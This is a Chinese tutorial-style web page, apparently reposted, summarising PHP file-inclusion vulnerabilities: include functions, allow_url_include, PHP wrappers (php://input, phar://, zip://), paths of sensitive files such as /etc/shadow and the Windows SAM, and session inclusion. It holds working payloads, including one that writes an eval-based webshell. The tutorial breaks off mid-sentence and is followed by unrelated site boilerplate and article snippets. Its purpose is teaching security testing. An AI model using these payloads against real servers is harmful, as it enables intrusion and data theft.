文件包含知识点详细总结

如果想看图片和观感更好的话,可以直接去我的github或者gitbook
github:https://github.com/kakaandhanhan/cybersecurity_knowledge_book-gitbook.22kaka.fun
gitbook:http://22kaka.fun


description: 这里将通过参考文章和做题一起进行总结,并且文件包含漏洞,很多都利用了文件上传漏洞,所以这里也会总结一些文件上传漏洞的知识。

🍉 FL漏洞知识点总结

1.include/require/include_one/require_one

在PHP语法篇的10.文件里面我们讲了include和require和include_one和require_one这些,如果大家忘记了,可以返回去看看。

{% content-ref url=“…/rce-yuan-cheng-dai-ma-zhi-hang/php-yu-fa.md” %}
php-yu-fa.md
{% endcontent-ref %}


2.allow_url_include/allow_url_fopen

其实我看到老师写的书上也还在说这个,但是我看官方手册上面allow_url_include自php7.4就废除了,还发现就算是再新的书都有一定的滞后性,大家还是以手册为主。虽然废除了,但是我们还是讲解这两个在php.ini配置文件中的作用

1)allow_url_include

这个选项允许include,require,include_one和require四个函数的使用。

{% hint style=“info” %}
这个设置项需要开启 allow_url_fopen 。
{% endhint %}

2)allow_url_fopen

本选项激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象例如文件。默认的封装协议提供用 ftp 和 http 协议来访问。


3.php伪协议

我们在RCE漏洞知识点总结的5.php伪协议里面讲了php伪协议,忘记了也可以去看看

{% content-ref url=“…/rce-yuan-cheng-dai-ma-zhi-hang/rce-lou-dong-zhi-shi-dian-zong-jie.md” %}
rce-lou-dong-zhi-shi-dian-zong-jie.md
{% endcontent-ref %}

{% hint style=“info” %}
这里总结一下四个主要的协议是用在哪些方面。

1.php://filter              主要用于读取源码
2.php://input               经常使用file_get_contents获取php://input内容
3.data://                   执行命令
4.file://                   访问本地文件系统

{% endhint %}


在有以上的知识的基础上我们要介绍这个FL漏洞了。主要是分为本地文件包含漏洞和远程文件包含漏洞。

1.本地文件包含漏洞

本地文件包含漏洞是指能打开并且包含本地文件的漏洞,大部分都是这个漏洞。不受allow_url_fopen和allow_url_include的影响


2.远程文件包含漏洞

远程文件包含漏洞是指能够包含远程的文件并且执行他们,这个远程是我们可控的,所以危害较大,并且要求allow_url_fopen和allow_url_include都打开为on才能够执行。


3.敏感文件的目录

这里主要是要进行目录穿越或者是遍历任意文件时用到,虽然有很多,但是也不知道有用没用,都积累一下吧。

linux下:

/etc/passwd // 账户信息/etc/shadow // 账户密码文件/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置/usr/local/app/php5/lib/php.ini // PHP相关配置/etc/httpd/conf/httpd.conf // Apache配置文件/etc/my.conf // mysql 配置文件

windows

c:\boot.ini // 查看系统版本c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件c:\windows\repair\sam // 存储Windows系统初次安装的密码c:\ProgramFiles\mysql\my.ini // MySQL配置c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码c:\windows\php.ini // php 配置信息

4.php伪协议

在开头我们也放了php伪协议,虽然有相同的运用之处,但是也有一些差别,我们会专门就这个漏洞再来补充他们在这个漏洞的用法。有些不怎么要用或者之前已经详细讲过的就直接跳过去了。

1)file://

访问本地文件系统。

条件:无要求

姿势:

http://*********.php/?file=file://C:/Windows/win.ini

2)php://input

可以直接读取到POST上没有经过解析的原始数据。我们之前提到过,input后面可以加上post的body执行php代码。

{% hint style=“warning” %}
enctype="multipart/form-data" 的时候 php://input 是无效的。
{% endhint %}

条件:

  • allow_url_include=On

姿势:

①执行代码
http://*******.php/?file=php://input
/*[post]
<?php phpinfo()?>*/

后面的注释的php代码需要通过post传递。

{% hint style=“info” %}
当出现file_get_contents函数时,我们就要想到用php://input了
{% endhint %}

②执行命令
http://******.php/?file=php://input
/*[post]
<?php system('ls');?>*/
③写入木马
http://******.php/?file=php://input
/*[post]
<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST['123456'])?>');?>*/

解释一下上面的php语句吧。可能因为之前没有见到过可能不太理解。这里了解两个函数之后就容易理解了,就是后面的木马代码是写入到前面fopen打开的文件里面的。

fputs()/fwrite():写入文件

并且是把data写入到scream里面。

fwrite(resource $stream, string $data, ?int $length = null): int|false

fopen():打开文件或者url。

filename可以是文件,可以是url。

fopen(string $filename, string $mode,bool $use_include_path = false,?resource $context = null
): resource|false

并且模式和c语言打开文件一样这里贴张图大家看吧

3)php://filter

这个之前就讲的详细了,没啥好补充的。

4)phar://

这个之前没讲过,但是在这里要用到,补充一下。

是php解压缩包的协议,并且不管后面是什么都会解压缩,无差别平等攻击

要求:

  • phpversion>=5.3

姿势:

①执行代码:

写一个php代码比如<?php echo"hellp";?>,然后打包成zip压缩模式的压缩包

{% hint style=“danger” %}
注意,这个压缩模式必须是zip,不能是7zip,rar这种。此外,压缩包的后缀名可以不一定是zip,还可以是111,222,txt都可以。
{% endhint %}

然后指定绝对目录

http://localhost:3000/study.php?file=phar://F:\php%20code\1.zip\1.php

当然相对目录也可以

http://localhost:3000/study.php?file=phar://1.zip/1.php
②执行命令:

只要把php代码修改一下变成执行命令的语句就可以,其他都不变,这里就不测试了因为步骤都是一样的

③写入木马:

同理

5)zip://

和上面的phar()的作用是一样的,就是用法不一样。我们直接说区别了其他都是一样的。他们的区别主要是在路径上。

{% hint style=“danger” %}
zip://只能用绝对路径不能用相对路径。
{% endhint %}

并且压缩文件包和压缩文件之间要用#连接,并且这个#得经过url编码,也就是%23。

http://localhost:3000/study.php?file=phar://F:\php%20code\1.zip%231.php

6)data://

就是之前的两句话之前已经很详细地说了。


5.包含session

首先我们先介绍一下session是什么

session简单理解就是会话。打个生动的比喻,session是位于服务器端的保险柜。比如我们去健身的时候,前台小姐姐会给我们一把钥匙和与它对应的保险柜,我们从开始健身到最后离开健身房就是一个会话,途中可能会去买瓶水放到保险柜里,或者从保险柜里拿个换洗衣物之类的,都是这个中间产生的数据,保险柜记录了我们产生的数据。

条件:

如果要使用包含session,那么我们需要知道session的路径并且他的内容部分是我们可控的。

姿势:

我们可以查看phpinfo()文件里面的session的路径存放处,在session下面的session_save_path

可以看到我的是/var/lib/php/sessions

{% hint style=“info” %}
第二竖排是local value(局部变量),第三竖排是master value(主变量),local value会覆盖master value。所以我们看第二竖排
{% endhint %}

1)常见php的session存放位置

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

我的session就位于/var/lib/php/sessions下。

2)命名

sessions目录下的文件的命名是sess_[phpsessid]。而phpsessid是我们的cookie里面可以看到的,我们甚至可以控制cookie中的phpsessid的值。然后发

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/466669.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于大语言模型的AI Agents

代理&#xff08;Agent&#xff09;指能自主感知环境并采取行动实现目标的智能体。基于大语言模型&#xff08;LLM&#xff09;的 AI Agent 利用 LLM 进行记忆检索、决策推理和行动顺序选择等&#xff0c;把Agent的智能程度提升到了新的高度。LLM驱动的Agent具体是怎么做的呢&a…

JavaI/O流 File类(文件)

目录 File类实例 File类 Java的File类是java.io.File的一个类&#xff0c;它表示文件或目录的路径名。这个类在处理文件和目录时非常有用&#xff0c;它提供了很多静态方法来操作文件和目录。 以下是一些File类的常见方法&#xff1a; 构造方法&#xff1a;创建表示文件或目…

vue3 腾讯tdesign 后台管理框架的使用

1.介绍 TDesign 是具有包容性的设计体系&#xff0c;它强调为业务提供产品、服务等过程中&#xff0c;追求以人为本、人人受益的包容性&#xff0c;要求搭建过程中&#xff0c;了解业务底层&#xff0c;理解业务场景的多样性&#xff0c;并在繁杂的业务场景中寻找共性和特性&a…

【教学类-46-07】20240212立体春字1.0

背景需求&#xff1a; 在南浔古镇的非遗文化馆里看到一个新年活动折纸——立体春字&#xff0c; 我记得这个就是一个双三角结构折纸&#xff0c;完全可以用15*15的手工纸给孩子们做一套。 折纸教程 双三角折法 【“鼠”你有才】纸艺教学 剪纸——立体春字&#xff08;2月23日…

【Java EE初阶十二】网络编程TCP/IP协议(二)

1. 关于TCP 1.1 TCP 的socket api tcp的socket api和U大片的socket api差异很大&#xff0c;但是和前面所讲的文件操作很密切的联系 下面主要讲解两个关键的类&#xff1a; 1、ServerSocket&#xff1a;给服务器使用的类&#xff0c;使用这个类来绑定端口号 2、Socket&#xf…

webpack面试解析

参考&#xff1a; 上一篇webpack相关的系列&#xff1a;webpack深入学习&#xff0c;搭建和优化react项目 爪哇教育字节面试官解析webpack-路白 1、Webpack中的module是什么&#xff1f; 通常来讲&#xff0c;一个 module 模块就是指一个文件中导出的内容&#xff0c;webpack…

Linux线程 分离和同步与互斥 条件变量

Linux线程 分离和同步与互斥 条件变量 1. 分离线程2. 线程互斥与互斥量3. 线程同步与竞态条件4. pthread库与条件变量5. 生产者-消费者 1. 分离线程 什么是线程分离&#xff1f; 线程分离是指线程在结束时&#xff0c;操作系统会自动回收其资源&#xff0c;而无需其他线程显式地…

EasyCaptcha,开源图形验证码新标杆!

引言&#xff1a; 随着互联网的普及&#xff0c;验证码已成为网站和应用程序中不可或缺的安全组件。它能够有效地防止自动化攻击、垃圾邮件和机器人活动。在众多验证码解决方案中&#xff0c;Easy-captcha以其简单易用和高度可定制的特点受到了开发者的青睐。本文将指导读者如…

leetcode:买卖股票最佳时机二

思路&#xff1a; 使用贪心算法&#xff1a;局部最优是将买卖过程中产生的正数进行相加&#xff0c;进而使得最后结果最大&#xff08;全局最优&#xff09;。 price [7,1,5,10,3,6,4] -6,4,5,-7,3,-2 正数相加就得到了最大 代码实现&#xff1a; 1.循环中下标从1开始 …

AI大模型开发架构设计(10)——AI大模型架构体系与典型应用场景

文章目录 AI大模型架构体系与典型应用场景1 AI大模型架构体系你了解多少?GPT 助手训练流程GPT 助手训练数据预处理2个训练案例分析 2 AI 大模型的典型应用场景以及应用架构剖析AI 大模型的典型应用场景AI 大模型应用架构 AI大模型架构体系与典型应用场景 1 AI大模型架构体系你…

蓝牙BLE学习-蓝牙广播

1.概念 什么叫做广播&#xff0c;顾名思义就像广场上的大喇叭一样&#xff0c;不停的向外传输着信号。不同的是&#xff0c;大喇叭传输的是音频信号&#xff0c;而蓝牙传输的是射频信号。 BLE使用的是无线电波传递信息&#xff0c;就是将数据编码&#xff0c;调制到射频信号中发…

【JavaEE】_CSS选择器

目录 1. 基本语法格式 2. 引入方式 2.1 内部样式 2.2 内联样式 2.3 外部样式 3. 基础选择器 3.1 标签选择器 3.2 类选择器 3.3 ID选择器 4. 复合选择器 4.1 后代选择器 4.2 子选择器 4.3 并集选择器 4.4 伪类选择器 1. 基本语法格式 选择器若干属性声明 2. 引入…